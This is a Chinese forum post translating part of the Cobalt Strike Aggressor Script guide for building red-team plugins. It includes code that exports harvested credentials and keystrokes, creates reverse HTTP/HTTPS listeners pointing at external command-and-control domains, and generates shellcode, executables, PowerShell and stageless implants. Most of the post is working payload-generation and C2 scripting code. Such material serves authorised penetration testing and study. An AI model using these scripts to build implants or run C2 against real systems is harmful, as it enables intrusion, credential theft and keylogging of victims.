CobaltStrike插件开发官方指南 Part2

isnull   ·   发表于 2019-08-10 11:24:33   ·   漏洞文章

原文地址:

https://www.cobaltstrike.com/agscript-script/index.html

0x03 数据模型

Cobalt Strike的团队服务器存储了所有主机,服务,凭据等信息信息。

数据API

使用&data_query函数即可查询到Cobalt Strike的数据模型。 这个函数可以访问Cobalt Strike客户端维护的所有状态和信息。 使用&data_keys多了一个可以查询制定数据的功能,看demo:

command export {
    local('$handle $model $row $entry $index');
    $handle = openf(">export.txt");

    foreach $model (data_keys()) {
        println($handle, "== $model ==");
        println($handle, data_query($model));
    }
    closef($handle);

    println("See export.txt for the data.");
}



Cobalt Strike提供了多种功能方便攻击者们更直观地使用数据模型。

模型函数功能描述
applications&applications系统分析结果 [View -> Applications]
archives&archives连接日志/活动
beacons&beacons激活beacons
credentials&credentials账号密码等
downloads&downloads下载的文件
keystrokes&keystrokesBeacon接收到键盘记录
screenshots&screenshots截图文件啊
services&services服务相关信息
sites&sites资产信息
socks&pivotsSOCKS代理服务以及端口转发
targets&targets主机信息

调用这些函数会返回一个模型中每个条目的数组,每行对于的是一个字典,字典中包含了键与其键值。

要理解这东西最简单的方式就是直接到控制台上手调试了,x命令就是为此准备的,看图:


(就是基本的数组操作。)

使用on DATA_KEY可关注制定模型的变化:

on keystrokes {
    println("I have new keystrokes: $1");
}

0x04 监听器

监听器(Listeners)是Cobalt Strike处理bot发来的信息的核心模块。

监听器API

agscript会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners函数,只使用本地侦听器的话用&listeners_local函数,&listener_info函数可将监听器名称解析为其配置信息,demo:

command listeners {
    local('$name $key $value');
    foreach $name (listeners()) {
        println("== $name == ");
        foreach $key => $value (listener_info($name)) {
            println("$[20]key : $value");
        }
    }
}


监听器创建

&listener_create函数啦。
demo:

# 新建一个foreign监听器
listener_create("My Metasploit", "windows/foreign_https/reverse_https", 
        "ads.losenolove.com", 443);

# 新建一个HTTP Beacon监听器
listener_create("Beacon HTTP", "windows/beacon_http/reverse_http",
        "www.losenolove.com", 80, 
        "www.losenolove.com, www2.losenolove.com");


监听器删除

&listener_delete函数,值得注入的是需要传入一个参数,也就是监听器的名称。

listener_delete("Beacon HTTP");


(很尴尬,不知道是官方bug还是汉化版的原因,在代码中运行正常,丢到控制台就GG。)

监听器选择

使用&openPayloadHelper会弹出一个当前可用的监听器列表供选择,使用者选完后程序会接着运行回调函数,demo:

item "&Spawn" {
    openPayloadHelper(lambda({
        binput($bids, "spawn $1");
        bspawn($bids, $1);
    }, $bids => $1));
}

Shellcode生成

使用&shellcode为指定的侦听器名称生成shellcode

$data = shellcode("my listener", false, "x86");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);

shellcode函数共传入了三个参数,第一个是监听器的名称,第二个是选择是否发送给远程主机(true/false),第三个是系统的架构(x64/x86)。



exe/dll生成

&artifact函数啦。

有四个参数需要传入:

artifact("my listener","exe",false,x86);

对比shellcode生成仅多了第二个参数,也就是生成的bot程序的类型,共七种类型可选:

类型参数描述
dllx86 DLL
dllx64x64 DLL
exewindows可执行程序啦
powershellpowershell脚本
pythonpython脚本
svcexe以服务启动的可执行文件啦
vbscriptvb脚本

自己写的一个小Demo:

popup beacon_bottom {
    item "exe" {
    $data = artifact("cat", "exe");
    $handle = openf(">cat.exe");
    writeb($handle, $data);
    closef($handle);
    }
}

只写两个参数因为其他两个参数默认为false和x86,懒得话写不写都无所谓。

PowerShell

函数是&powershell ,用法:

println(powershell("my listener", false,x86));

和shellcode的写法一模一样,不作赘述。(本来就属于shellcode的一个子集,不知道官方为啥要独立出来写。)

Stageless

函数&artifact_stageless,demo:

sub ready {
    local('$handle');
    $handle = openf(">out.exe");
    writeb($handle, $1);
    closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);

对比exe/dll生成多的参数是代理的信息,其他无异。


转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-8-10 | 1736 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.